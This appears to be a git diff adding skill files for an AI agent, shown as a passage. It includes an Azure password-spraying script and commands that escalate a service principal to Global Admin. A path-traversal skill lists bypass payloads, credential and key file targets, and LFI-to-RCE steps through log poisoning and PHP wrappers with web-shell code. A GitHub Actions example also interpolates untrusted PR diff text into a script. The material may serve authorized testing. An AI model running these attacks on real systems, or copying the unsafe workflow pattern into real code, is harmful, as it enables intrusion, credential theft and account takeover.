Connect-AzAccount -Credential $Cred -ErrorAction Stop -WarningAction SilentlyContinue
|
||||
Add-Content valid-creds.txt ($user + "|" + $passlist[$linenumber - 1])
|
||||
Write-Host -ForegroundColor green ("`nGot something here: $user and " + $passlist[$linenumber - 1])
|
||||
}
|
||||
catch {
|
||||
$Failure = $_.Exception
|
||||
if ($Failure -match "ID3242") { continue }
|
||||
else {
|
||||
Write-Host -ForegroundColor green ("`nGot something here: $user and " + $passlist[$linenumber - 1])
|
||||
Add-Content valid-creds.txt ($user + "|" + $passlist[$linenumber - 1])
|
||||
Add-Content valid-creds.txt $Failure.Message
|
||||
Write-Host -ForegroundColor red $Failure.Message
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Service Principal Attack Path
|
||||
|
||||
```bash
|
||||
# Reset service principal credential
|
||||
az ad sp credential reset --id <app_id>
|
||||
az ad sp credential list --id <app_id>
|
||||
|
||||
# Login as service principal
|
||||
az login --service-principal -u "app id" -p "password" --tenant <tenant ID> --allow-no-subscriptions
|
||||
|
||||
# Create new user in tenant
|
||||
az ad user create --display-name <name> --password <password> --user-principal-name <upn>
|
||||
|
||||
# Add user to Global Admin via MS Graph
|
||||
$Body="{'principalId':'User Object ID', 'roleDefinitionId': '62e90394-69f5-4237-9190-012177145e10', 'directoryScopeId': '/'}"
|
||||
az rest --method POST --uri https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments --headers "Content-Type=application/json" --body $Body
|
||||
```
|
||||
|
||||
## Additional Tools Reference
|
||||
|
||||
| Tool | URL | Purpose |
|
||||
|------|-----|---------|
|
||||
| MicroBurst | github.com/NetSPI/MicroBurst | Azure security assessment |
|
||||
| PowerZure | github.com/hausec/PowerZure | Azure post-exploitation |
|
||||
| ROADTools | github.com/dirkjanm/ROADtools | Azure AD enumeration |
|
||||
| Stormspotter | github.com/Azure/Stormspotter | Azure attack path graphing |
|
||||
| MSOLSpray | github.com/dafthack | O365 password spraying |
|
||||
| AzureHound | github.com/BloodHoundAD/AzureHound | Azure AD attack paths |
|
||||
| WeirdAAL | github.com/carnal0wnage/weirdAAL | AWS enumeration |
|
||||
| Pacu | github.com/RhinoSecurityLabs/pacu | AWS exploitation |
|
||||
| ScoutSuite | github.com/nccgroup/ScoutSuite | Multi-cloud auditing |
|
||||
| cloud_enum | github.com/initstring/cloud_enum | Public resource discovery |
|
||||
| GitLeaks | github.com/zricethezav/gitleaks | Secret scanning |
|
||||
| TruffleHog | github.com/dxa4481/truffleHog | Git secret scanning |
|
||||
| ip2Provider | github.com/oldrho/ip2provider | Cloud IP identification |
|
||||
| FireProx | github.com/ustayready/fireprox | IP rotation via AWS API Gateway |
|
||||
|
||||
## Vulnerable Training Environments
|
||||
|
||||
| Platform | URL | Purpose |
|
||||
|----------|-----|---------|
|
||||
| CloudGoat | github.com/RhinoSecurityLabs/cloudgoat | AWS vulnerable lab |
|
||||
| SadCloud | github.com/nccgroup/sadcloud | Terraform misconfigs |
|
||||
| Flaws Cloud | flaws.cloud | AWS CTF challenges |
|
||||
| Thunder CTF | thunder-ctf.cloud | GCP CTF challenges |
|
||||
62
skills/concise-planning/SKILL.md
Normal file
62
skills/concise-planning/SKILL.md
Normal file
@@ -0,0 +1,62 @@
|
||||
---
|
||||
name: concise-planning
|
||||
description: Use when a user asks for a plan for a coding task, to generate a clear, actionable, and atomic checklist.
|
||||
---
|
||||
|
||||
# Concise Planning
|
||||
|
||||
## Goal
|
||||
|
||||
Turn a user request into a **single, actionable plan** with atomic steps.
|
||||
|
||||
## Workflow
|
||||
|
||||
### 1. Scan Context
|
||||
|
||||
- Read `README.md`, docs, and relevant code files.
|
||||
- Identify constraints (language, frameworks, tests).
|
||||
|
||||
### 2. Minimal Interaction
|
||||
|
||||
- Ask **at most 1–2 questions** and only if truly blocking.
|
||||
- Make reasonable assumptions for non-blocking unknowns.
|
||||
|
||||
### 3. Generate Plan
|
||||
|
||||
Use the following structure:
|
||||
|
||||
- **Approach**: 1-3 sentences on what and why.
|
||||
- **Scope**: Bullet points for "In" and "Out".
|
||||
- **Action Items**: A list of 6-10 atomic, ordered tasks (Verb-first).
|
||||
- **Validation**: At least one item for testing.
|
||||
|
||||
## Plan Template
|
||||
|
||||
```markdown
|
||||
# Plan
|
||||
|
||||
<High-level approach>
|
||||
|
||||
## Scope
|
||||
|
||||
- In:
|
||||
- Out:
|
||||
|
||||
## Action Items
|
||||
|
||||
[ ] <Step 1: Discovery>
|
||||
[ ] <Step 2: Implementation>
|
||||
[ ] <Step 3: Implementation>
|
||||
[ ] <Step 4: Validation/Testing>
|
||||
[ ] <Step 5: Rollout/Commit>
|
||||
|
||||
## Open Questions
|
||||
|
||||
- <Question 1 (max 3)>
|
||||
```
|
||||
|
||||
## Checklist Guidelines
|
||||
|
||||
- **Atomic**: Each step should be a single logical unit of work.
|
||||
- **Verb-first**: "Add...", "Refactor...", "Verify...".
|
||||
- **Concrete**: Name specific files or modules when possible.
|
||||
483
skills/file-path-traversal/SKILL.md
Normal file
483
skills/file-path-traversal/SKILL.md
Normal file
@@ -0,0 +1,483 @@
|
||||
---
|
||||
name: File Path Traversal Testing
|
||||
description: This skill should be used when the user asks to "test for directory traversal", "exploit path traversal vulnerabilities", "read arbitrary files through web applications", "find LFI vulnerabilities", or "access files outside web root". It provides comprehensive file path traversal attack and testing methodologies.
|
||||
---
|
||||
|
||||
# File Path Traversal Testing
|
||||
|
||||
## Purpose
|
||||
|
||||
Identify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code. This vulnerability occurs when user-controllable input is passed to filesystem APIs without proper validation.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
### Required Tools
|
||||
- Web browser with developer tools
|
||||
- Burp Suite or OWASP ZAP
|
||||
- cURL for testing payloads
|
||||
- Wordlists for automation
|
||||
- ffuf or wfuzz for fuzzing
|
||||
|
||||
### Required Knowledge
|
||||
- HTTP request/response structure
|
||||
- Linux and Windows filesystem layout
|
||||
- Web application architecture
|
||||
- Basic understanding of file APIs
|
||||
|
||||
## Outputs and Deliverables
|
||||
|
||||
1. **Vulnerability Report** - Identified traversal points and severity
|
||||
2. **Exploitation Proof** - Extracted file contents
|
||||
3. **Impact Assessment** - Accessible files and data exposure
|
||||
4. **Remediation Guidance** - Secure coding recommendations
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### Phase 1: Understanding Path Traversal
|
||||
|
||||
Path traversal occurs when applications use user input to construct file paths:
|
||||
|
||||
```php
|
||||
// Vulnerable PHP code example
|
||||
$template = "blue.php";
|
||||
if (isset($_COOKIE['template']) && !empty($_COOKIE['template'])) {
|
||||
$template = $_COOKIE['template'];
|
||||
}
|
||||
include("/home/user/templates/" . $template);
|
||||
```
|
||||
|
||||
Attack principle:
|
||||
- `../` sequence moves up one directory
|
||||
- Chain multiple sequences to reach root
|
||||
- Access files outside intended directory
|
||||
|
||||
Impact:
|
||||
- **Confidentiality** - Read sensitive files
|
||||
- **Integrity** - Write/modify files (in some cases)
|
||||
- **Availability** - Delete files (in some cases)
|
||||
- **Code Execution** - If combined with file upload or log poisoning
|
||||
|
||||
### Phase 2: Identifying Traversal Points
|
||||
|
||||
Map application for potential file operations:
|
||||
|
||||
```bash
|
||||
# Parameters that often handle files
|
||||
?file=
|
||||
?path=
|
||||
?page=
|
||||
?template=
|
||||
?filename=
|
||||
?doc=
|
||||
?document=
|
||||
?folder=
|
||||
?dir=
|
||||
?include=
|
||||
?src=
|
||||
?source=
|
||||
?content=
|
||||
?view=
|
||||
?download=
|
||||
?load=
|
||||
?read=
|
||||
?retrieve=
|
||||
```
|
||||
|
||||
Common vulnerable functionality:
|
||||
- Image loading: `/image?filename=23.jpg`
|
||||
- Template selection: `?template=blue.php`
|
||||
- File downloads: `/download?file=report.pdf`
|
||||
- Document viewers: `/view?doc=manual.pdf`
|
||||
- Include mechanisms: `?page=about`
|
||||
|
||||
### Phase 3: Basic Exploitation Techniques
|
||||
|
||||
#### Simple Path Traversal
|
||||
|
||||
```bash
|
||||
# Basic Linux traversal
|
||||
../../../etc/passwd
|
||||
../../../../etc/passwd
|
||||
../../../../../etc/passwd
|
||||
../../../../../../etc/passwd
|
||||
|
||||
# Windows traversal
|
||||
..\..\..\windows\win.ini
|
||||
..\..\..\..\windows\system32\drivers\etc\hosts
|
||||
|
||||
# URL encoded
|
||||
..%2F..%2F..%2Fetc%2Fpasswd
|
||||
..%252F..%252F..%252Fetc%252Fpasswd # Double encoding
|
||||
|
||||
# Test payloads with curl
|
||||
curl "http://target.com/image?filename=../../../etc/passwd"
|
||||
curl "http://target.com/download?file=....//....//....//etc/passwd"
|
||||
```
|
||||
|
||||
#### Absolute Path Injection
|
||||
|
||||
```bash
|
||||
# Direct absolute path (Linux)
|
||||
/etc/passwd
|
||||
/etc/shadow
|
||||
/etc/hosts
|
||||
/proc/self/environ
|
||||
|
||||
# Direct absolute path (Windows)
|
||||
C:\windows\win.ini
|
||||
C:\windows\system32\drivers\etc\hosts
|
||||
C:\boot.ini
|
||||
```
|
||||
|
||||
### Phase 4: Bypass Techniques
|
||||
|
||||
#### Bypass Stripped Traversal Sequences
|
||||
|
||||
```bash
|
||||
# When ../ is stripped once
|
||||
....//....//....//etc/passwd
|
||||
....\/....\/....\/etc/passwd
|
||||
|
||||
# Nested traversal
|
||||
..././..././..././etc/passwd
|
||||
....//....//etc/passwd
|
||||
|
||||
# Mixed encoding
|
||||
..%2f..%2f..%2fetc/passwd
|
||||
%2e%2e/%2e%2e/%2e%2e/etc/passwd
|
||||
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
|
||||
```
|
||||
|
||||
#### Bypass Extension Validation
|
||||
|
||||
```bash
|
||||
# Null byte injection (older PHP versions)
|
||||
../../../etc/passwd%00.jpg
|
||||
../../../etc/passwd%00.png
|
||||
|
||||
# Path truncation
|
||||
../../../etc/passwd...............................
|
||||
|
||||
# Double extension
|
||||
../../../etc/passwd.jpg.php
|
||||
```
|
||||
|
||||
#### Bypass Base Directory Validation
|
||||
|
||||
```bash
|
||||
# When path must start with expected directory
|
||||
/var/www/images/../../../etc/passwd
|
||||
|
||||
# Expected path followed by traversal
|
||||
images/../../../etc/passwd
|
||||
```
|
||||
|
||||
#### Bypass Blacklist Filters
|
||||
|
||||
```bash
|
||||
# Unicode/UTF-8 encoding
|
||||
..%c0%af..%c0%af..%c0%afetc/passwd
|
||||
..%c1%9c..%c1%9c..%c1%9cetc/passwd
|
||||
|
||||
# Overlong UTF-8 encoding
|
||||
%c0%2e%c0%2e%c0%af
|
||||
|
||||
# URL encoding variations
|
||||
%2e%2e/
|
||||
%2e%2e%5c
|
||||
..%5c
|
||||
..%255c
|
||||
|
||||
# Case variations (Windows)
|
||||
....\\....\\etc\\passwd
|
||||
```
|
||||
|
||||
### Phase 5: Linux Target Files
|
||||
|
||||
High-value files to target:
|
||||
|
||||
```bash
|
||||
# System files
|
||||
/etc/passwd # User accounts
|
||||
/etc/shadow # Password hashes (root only)
|
||||
/etc/group # Group information
|
||||
/etc/hosts # Host mappings
|
||||
/etc/hostname # System hostname
|
||||
/etc/issue # System banner
|
||||
|
||||
# SSH files
|
||||
/root/.ssh/id_rsa # Root private key
|
||||
/root/.ssh/authorized_keys # Authorized keys
|
||||
/home/<user>/.ssh/id_rsa # User private keys
|
||||
/etc/ssh/sshd_config # SSH configuration
|
||||
|
||||
# Web server files
|
||||
/etc/apache2/apache2.conf
|
||||
/etc/nginx/nginx.conf
|
||||
/etc/apache2/sites-enabled/000-default.conf
|
||||
/var/log/apache2/access.log
|
||||
/var/log/apache2/error.log
|
||||
/var/log/nginx/access.log
|
||||
|
||||
# Application files
|
||||
/var/www/html/config.php
|
||||
/var/www/html/wp-config.php
|
||||
/var/www/html/.htaccess
|
||||
/var/www/html/web.config
|
||||
|
||||
# Process information
|
||||
/proc/self/environ # Environment variables
|
||||
/proc/self/cmdline # Process command line
|
||||
/proc/self/fd/0 # File descriptors
|
||||
/proc/version # Kernel version
|
||||
|
||||
# Common application configs
|
||||
/etc/mysql/my.cnf
|
||||
/etc/postgresql/*/postgresql.conf
|
||||
/opt/lampp/etc/httpd.conf
|
||||
```
|
||||
|
||||
### Phase 6: Windows Target Files
|
||||
|
||||
Windows-specific targets:
|
||||
|
||||
```bash
|
||||
# System files
|
||||
C:\windows\win.ini
|
||||
C:\windows\system.ini
|
||||
C:\boot.ini
|
||||
C:\windows\system32\drivers\etc\hosts
|
||||
C:\windows\system32\config\SAM
|
||||
C:\windows\repair\SAM
|
||||
|
||||
# IIS files
|
||||
C:\inetpub\wwwroot\web.config
|
||||
C:\inetpub\logs\LogFiles\W3SVC1\
|
||||
|
||||
# Configuration files
|
||||
C:\xampp\apache\conf\httpd.conf
|
||||
C:\xampp\mysql\data\mysql\user.MYD
|
||||
C:\xampp\passwords.txt
|
||||
C:\xampp\phpmyadmin\config.inc.php
|
||||
|
||||
# User files
|
||||
C:\Users\<user>\.ssh\id_rsa
|
||||
C:\Users\<user>\Desktop\
|
||||
C:\Documents and Settings\<user>\
|
||||
```
|
||||
|
||||
### Phase 7: Automated Testing
|
||||
|
||||
#### Using Burp Suite
|
||||
|
||||
```
|
||||
1. Capture request with file parameter
|
||||
2. Send to Intruder
|
||||
3. Mark file parameter value as payload position
|
||||
4. Load path traversal wordlist
|
||||
5. Start attack
|
||||
6. Filter responses by size/content for success
|
||||
```
|
||||
|
||||
#### Using ffuf
|
||||
|
||||
```bash
|
||||
# Basic traversal fuzzing
|
||||
ffuf -u "http://target.com/image?filename=FUZZ" \
|
||||
-w /usr/share/wordlists/traversal.txt \
|
||||
-mc 200
|
||||
|
||||
# Fuzzing with encoding
|
||||
ffuf -u "http://target.com/page?file=FUZZ" \
|
||||
-w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
|
||||
-mc 200,500 -ac
|
||||
```
|
||||
|
||||
#### Using wfuzz
|
||||
|
||||
```bash
|
||||
# Traverse to /etc/passwd
|
||||
wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
|
||||
--hc 404 \
|
||||
"http://target.com/index.php?file=FUZZ"
|
||||
|
||||
# With headers/cookies
|
||||
wfuzz -c -z file,traversal.txt \
|
||||
-H "Cookie: session=abc123" \
|
||||
"http://target.com/load?path=FUZZ"
|
||||
```
|
||||
|
||||
### Phase 8: LFI to RCE Escalation
|
||||
|
||||
#### Log Poisoning
|
||||
|
||||
```bash
|
||||
# Inject PHP code into logs
|
||||
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
|
||||
|
||||
# Include Apache log file
|
||||
curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"
|
||||
|
||||
# Include auth.log (SSH)
|
||||
# First: ssh '<?php system($_GET["cmd"]); ?>'@target.com
|
||||
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
|
||||
```
|
||||
|
||||
#### Proc/self/environ
|
||||
|
||||
```bash
|
||||
# Inject via User-Agent
|
||||
curl -A "<?php system('id'); ?>" \
|
||||
"http://target.com/page?file=/proc/self/environ"
|
||||
|
||||
# With command parameter
|
||||
curl -A "<?php system(\$_GET['c']); ?>" \
|
||||
"http://target.com/page?file=/proc/self/environ&c=whoami"
|
||||
```
|
||||
|
||||
#### PHP Wrapper Exploitation
|
||||
|
||||
```bash
|
||||
# php://filter - Read source code as base64
|
||||
curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"
|
||||
|
||||
# php://input - Execute POST data as PHP
|
||||
curl -X POST -d "<?php system('id'); ?>" \
|
||||
"http://target.com/page?file=php://input"
|
||||
|
||||
# data:// - Execute inline PHP
|
||||
curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id"
|
||||
|
||||
# expect:// - Execute system commands
|
||||
curl "http://target.com/page?file=expect://id"
|
||||
```
|
||||
|
||||
### Phase 9: Testing Methodology
|
||||
|
||||
Structured testing approach:
|
||||
|
||||
```bash
|
||||
# Step 1: Identify potential parameters
|
||||
# Look for file-related functionality
|
||||
|
||||
# Step 2: Test basic traversal
|
||||
../../../etc/passwd
|
||||
|
||||
# Step 3: Test encoding variations
|
||||
..%2F..%2F..%2Fetc%2Fpasswd
|
||||
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
|
||||
|
||||
# Step 4: Test bypass techniques
|
||||
....//....//....//etc/passwd
|
||||
..;/..;/..;/etc/passwd
|
||||
|
||||
# Step 5: Test absolute paths
|
||||
/etc/passwd
|
||||
|
||||
# Step 6: Test with null bytes (legacy)
|
||||
../../../etc/passwd%00.jpg
|
||||
|
||||
# Step 7: Attempt wrapper exploitation
|
||||
php://filter/convert.base64-encode/resource=index.php
|
||||
|
||||
# Step 8: Attempt log poisoning for RCE
|
||||
```
|
||||
|
||||
### Phase 10: Prevention Measures
|
||||
|
||||
Secure coding practices:
|
||||
|
||||
```php
|
||||
// PHP: Use basename() to strip paths
|
||||
$filename = basename($_GET['file']);
|
||||
$path = "/var/www/files/" . $filename;
|
||||
|
||||
// PHP: Validate against whitelist
|
||||
$allowed = ['report.pdf', 'manual.pdf', 'guide.pdf'];
|
||||
if (in_array($_GET['file'], $allowed)) {
|
||||
include("/var/www/files/" . $_GET['file']);
|
||||
}
|
||||
|
||||
// PHP: Canonicalize and verify base path
|
||||
$base = "/var/www/files/";
|
||||
$realBase = realpath($base);
|
||||
$userPath = $base . $_GET['file'];
|
||||
$realUserPath = realpath($userPath);
|
||||
|
||||
if ($realUserPath && strpos($realUserPath, $realBase) === 0) {
|
||||
include($realUserPath);
|
||||
}
|
||||
```
|
||||
|
||||
```python
|
||||
# Python: Use os.path.realpath() and validate
|
||||
import os
|
||||
|
||||
def safe_file_access(base_dir, filename):
|
||||
# Resolve to absolute path
|
||||
base = os.path.realpath(base_dir)
|
||||
file_path = os.path.realpath(os.path.join(base, filename))
|
||||
|
||||
# Verify file is within base directory
|
||||
if file_path.startswith(base):
|
||||
return open(file_path, 'r').read()
|
||||
else:
|
||||
raise Exception("Access denied")
|
||||
```
|
||||
|
||||
## Quick Reference
|
||||
|
||||
### Common Payloads
|
||||
|
||||
| Payload | Target |
|
||||
|---------|--------|
|
||||
| `../../../etc/passwd` | Linux password file |
|
||||
| `..\..\..\..\windows\win.ini` | Windows INI file |
|
||||
| `....//....//....//etc/passwd` | Bypass simple filter |
|
||||
| `/etc/passwd` | Absolute path |
|
||||
| `php://filter/convert.base64-encode/resource=config.php` | Source code |
|
||||
|
||||
### Target Files
|
||||
|
||||
| OS | File | Purpose |
|
||||
|----|------|---------|
|
||||
| Linux | `/etc/passwd` | User accounts |
|
||||
| Linux | `/etc/shadow` | Password hashes |
|
||||
| Linux | `/proc/self/environ` | Environment vars |
|
||||
| Windows | `C:\windows\win.ini` | System config |
|
||||
| Windows | `C:\boot.ini` | Boot config |
|
||||
| Web | `wp-config.php` | WordPress DB creds |
|
||||
|
||||
### Encoding Variants
|
||||
|
||||
| Type | Example |
|
||||
|------|---------|
|
||||
| URL Encoding | `%2e%2e%2f` = `../` |
|
||||
| Double Encoding | `%252e%252e%252f` = `../` |
|
||||
| Unicode | `%c0%af` = `/` |
|
||||
| Null Byte | `%00` |
|
||||
|
||||
## Constraints and Limitations
|
||||
|
||||
### Permission Restrictions
|
||||
- Cannot read files application user cannot access
|
||||
- Shadow file requires root privileges
|
||||
- Many files have restrictive permissions
|
||||
|
||||
### Application Restrictions
|
||||
- Extension validation may limit file types
|
||||
- Base path validation may restrict scope
|
||||
- WAF may block common payloads
|
||||
|
||||
### Testing Considerations
|
||||
- Respect authorized scope
|
||||
- Avoid accessing genuinely sensitive data
|
||||
- Document all successful access
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
| Problem | Solutions |
|
||||
|---------|-----------|
|
||||
| No response difference | Try encoding, blind traversal, different files |
|
||||
| Payload blocked | Use encoding variants, nested sequences, case variations |
|
||||
| Cannot escalate to RCE | Check logs, PHP wrappers, file upload, session poisoning |
|
||||
846
skills/github-workflow-automation/SKILL.md
Normal file
846
skills/github-workflow-automation/SKILL.md
Normal file
@@ -0,0 +1,846 @@
|
||||
---
|
||||
name: github-workflow-automation
|
||||
description: "Automate GitHub workflows with AI assistance. Includes PR reviews, issue triage, CI/CD integration, and Git operations. Use when automating GitHub workflows, setting up PR review automation, creating GitHub Actions, or triaging issues."
|
||||
---
|
||||
|
||||
# 🔧 GitHub Workflow Automation
|
||||
|
||||
> Patterns for automating GitHub workflows with AI assistance, inspired by [Gemini CLI](https://github.com/google-gemini/gemini-cli) and modern DevOps practices.
|
||||
|
||||
## When to Use This Skill
|
||||
|
||||
Use this skill when:
|
||||
|
||||
- Automating PR reviews with AI
|
||||
- Setting up issue triage automation
|
||||
- Creating GitHub Actions workflows
|
||||
- Integrating AI into CI/CD pipelines
|
||||
- Automating Git operations (rebases, cherry-picks)
|
||||
|
||||
---
|
||||
|
||||
## 1. Automated PR Review
|
||||
|
||||
### 1.1 PR Review Action
|
||||
|
||||
```yaml
|
||||
# .github/workflows/ai-review.yml
|
||||
name: AI Code Review
|
||||
|
||||
on:
|
||||
pull_request:
|
||||
types: [opened, synchronize]
|
||||
|
||||
jobs:
|
||||
review:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: read
|
||||
pull-requests: write
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Get changed files
|
||||
id: changed
|
||||
run: |
|
||||
files=$(git diff --name-only origin/${{ github.base_ref }}...HEAD)
|
||||
echo "files<<EOF" >> $GITHUB_OUTPUT
|
||||
echo "$files" >> $GITHUB_OUTPUT
|
||||
echo "EOF" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: Get diff
|
||||
id: diff
|
||||
run: |
|
||||
diff=$(git diff origin/${{ github.base_ref }}...HEAD)
|
||||
echo "diff<<EOF" >> $GITHUB_OUTPUT
|
||||
echo "$diff" >> $GITHUB_OUTPUT
|
||||
echo "EOF" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: AI Review
|
||||
uses: actions/github-script@v7
|
||||
with:
|
||||
script: |
|
||||
const { Anthropic } = require('@anthropic-ai/sdk');
|
||||
const client = new Anthropic({ apiKey: process.env.ANTHROPIC_API_KEY });
|
||||
|
||||
const response = await client.messages.create({
|
||||
model: "claude-3-sonnet-20240229",
|
||||
max_tokens: 4096,
|
||||
messages: [{
|
||||
role: "user",
|
||||
content: `Review this PR diff and provide feedback:
|
||||
|
||||
Changed files: ${{ steps.changed.outputs.files }}
|
||||
|
||||
Diff:
|
||||
${{ steps.diff.outputs.diff }}
|
||||
|
||||
Provide:
|
||||
1. Summary of changes
|
||||
2. Potential issues or bugs
|
||||
3. Suggestions for improvement
|
||||
4. Security concerns if any
|
||||
|
||||
Format as GitHub markdown.`
|
||||
}]
|
||||
});
|
||||
|
||||
await github.rest.pulls.createReview({
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
pull_number: context.issue.number,
|
||||
body: response.content[0].text,
|
||||
event: 'COMMENT'
|
||||
});
|
||||
env:
|
||||
ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}
|
||||
```
|
||||
|
||||
### 1.2 Review Comment Patterns
|
||||
|
||||
````markdown
|
||||
# AI Review Structure
|
||||
|
||||
## 📋 Summary
|
||||
|
||||
Brief description of what this PR does.
|
||||
|
||||
## ✅ What looks good
|
||||
|
||||
- Well-structured code
|
||||
- Good test coverage
|
||||
- Clear naming conventions
|
||||
|
||||
## ⚠️ Potential Issues
|
||||
|
||||
1. **Line 42**: Possible null pointer exception
|
||||
```javascript
|
||||
// Current
|
||||
user.profile.name;
|
||||
// Suggested
|
||||
user?.profile?.name ?? "Unknown";
|
||||
```
|
||||
````
|
||||
|
||||
2. **Line 78**: Consider error handling
|
||||
```javascript
|
||||
// Add try-catch or .catch()
|
||||
```
|
||||
|
||||
## 💡 Suggestions
|
||||
|
||||
- Consider extracting the validation logic into a separate function
|
||||
- Add JSDoc comments for public methods
|
||||
|
||||
## 🔒 Security Notes
|
||||
|
||||
- No sensitive data exposure detected
|
||||
- API key handling looks correct
|
||||
|
||||
````
|
||||
|
||||
### 1.3 Focused Reviews
|
||||
|
||||
```yaml
|
||||
# Review only specific file types
|
||||
- name: Filter code files
|
||||
run: |
|
||||
files=$(git diff --name-only origin/${{ github.base_ref }}...HEAD | \
|
||||
grep -E '\.(ts|tsx|js|jsx|py|go)$' || true)
|
||||
echo "code_files=$files" >> $GITHUB_OUTPUT
|
||||
|
||||
# Review with context
|
||||
- name: AI Review with context
|
||||
run: |
|
||||
# Include relevant context files
|
||||
context=""
|
||||
for file in ${{ steps.changed.outputs.files }}; do
|
||||
if [[ -f "$file" ]]; then
|
||||
context+="=== $file ===\n$(cat $file)\n\n"
|
||||
fi
|
||||
done
|
||||
|
||||
# Send to AI with full file context
|
||||
````
|
||||
|
||||
---
|
||||
|
||||
## 2. Issue Triage Automation
|
||||
|
||||
### 2.1 Auto-label Issues
|
||||
|
||||
```yaml
|
||||
# .github/workflows/issue-triage.yml
|
||||
name: Issue Triage
|
||||
|
||||
on:
|
||||
issues:
|
||||
types: [opened]
|
||||
|
||||
jobs:
|
||||
triage:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
issues: write
|
||||
|
||||
steps:
|
||||
- name: Analyze issue
|
||||
uses: actions/github-script@v7
|
||||
with:
|
||||
script: |
|
||||
const issue = context.payload.issue;
|
||||
|
||||
// Call AI to analyze
|
||||
const analysis = await analyzeIssue(issue.title, issue.body);
|
||||
|
||||
// Apply labels
|
||||
const labels = [];
|
||||
|
||||
if (analysis.type === 'bug') {
|
||||
labels.push('bug');
|
||||
if (analysis.severity === 'high') labels.push('priority: high');
|
||||
} else if (analysis.type === 'feature') {
|
||||
labels.push('enhancement');
|
||||
} else if (analysis.type === 'question') {
|
||||
labels.push('question');
|
||||
}
|
||||
|
||||
if (analysis.area) {
|
||||
labels.push(`area: ${analysis.area}`);
|
||||
}
|
||||
|
||||
await github.rest.issues.addLabels({
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
issue_number: issue.number,
|
||||
labels: labels
|
||||
});
|
||||
|
||||
// Add initial response
|
||||
if (analysis.type === 'bug' && !analysis.hasReproSteps) {
|
||||
await github.rest.issues.createComment({
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
issue_number: issue.number,
|
||||
body: `Thanks for reporting this issue!
|
||||
|
||||
To help us investigate, could you please provide:
|
||||
- Steps to reproduce the issue
|
||||
- Expected behavior
|
||||
- Actual behavior
|
||||
- Environment (OS, version, etc.)
|
||||
|
||||
This will help us resolve your issue faster. 🙏`
|
||||
});
|
||||
}
|
||||
```
|
||||
|
||||
### 2.2 Issue Analysis Prompt
|
||||
|
||||
```typescript
|
||||
const TRIAGE_PROMPT = `
|
||||
Analyze this GitHub issue and classify it:
|
||||
|
||||
Title: {title}
|
||||
Body: {body}
|
||||
|
||||
Return JSON with:
|
||||
{
|
||||
"type": "bug" | "feature" | "question" | "docs" | "other",
|
||||
"severity": "low" | "medium" | "high" | "critical",
|
||||
"area": "frontend" | "backend" | "api" | "docs" | "ci" | "other",
|
||||
"summary": "one-line summary",
|
||||
"hasReproSteps": boolean,
|
||||
"isFirstContribution": boolean,
|
||||
"suggestedLabels": ["label1", "label2"],
|
||||
"suggestedAssignees": ["username"] // based on area expertise
|
||||
}
|
||||
`;
|
||||
```
|
||||
|
||||
### 2.3 Stale Issue Management
|
||||
|
||||
```yaml
|
||||
# .github/workflows/stale.yml
|
||||
name: Manage Stale Issues
|
||||
|
||||
on:
|
||||
schedule:
|
||||
- cron: "0 0 * * *" # Daily
|
||||
|
||||
jobs:
|
||||
stale:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/stale@v9
|
||||
with:
|
||||
stale-issue-message: |
|
||||
This issue has been automatically marked as stale because it has not had
|
||||
recent activity. It will be closed in 14 days if no further activity occurs.
|
||||
|
||||
If this issue is still relevant:
|
||||
- Add a comment with an update
|
||||
- Remove the `stale` label
|
||||
|
||||
Thank you for your contributions! 🙏
|
||||
|
||||
stale-pr-message: |
|
||||
This PR has been automatically marked as stale. Please update it or it
|
||||
will be closed in 14 days.
|
||||
|
||||
days-before-stale: 60
|
||||
days-before-close: 14
|
||||
stale-issue-label: "stale"
|
||||
stale-pr-label: "stale"
|
||||
exempt-issue-labels: "pinned,security,in-progress"
|
||||
exempt-pr-labels: "pinned,security"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 3. CI/CD Integration
|
||||
|
||||
### 3.1 Smart Test Selection
|
||||
|
||||
```yaml
|
||||
# .github/workflows/smart-tests.yml
|
||||
name: Smart Test Selection
|
||||
|
||||
on:
|
||||
pull_request:
|
||||
|
||||
jobs:
|
||||
analyze:
|
||||
runs-on: ubuntu-latest
|
||||
outputs:
|
||||
test_suites: ${{ steps.analyze.outputs.suites }}
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Analyze changes
|
||||
id: analyze
|
||||
run: |
|
||||
# Get changed files
|
||||
changed=$(git diff --name-only origin/${{ github.base_ref }}...HEAD)
|
||||
|
||||
# Determine which test suites to run
|
||||
suites="[]"
|
||||
|
||||
if echo "$changed" | grep -q "^src/api/"; then
|
||||
suites=$(echo $suites | jq '. + ["api"]')
|
||||
fi
|
||||
|
||||
if echo "$changed" | grep -q "^src/frontend/"; then
|
||||
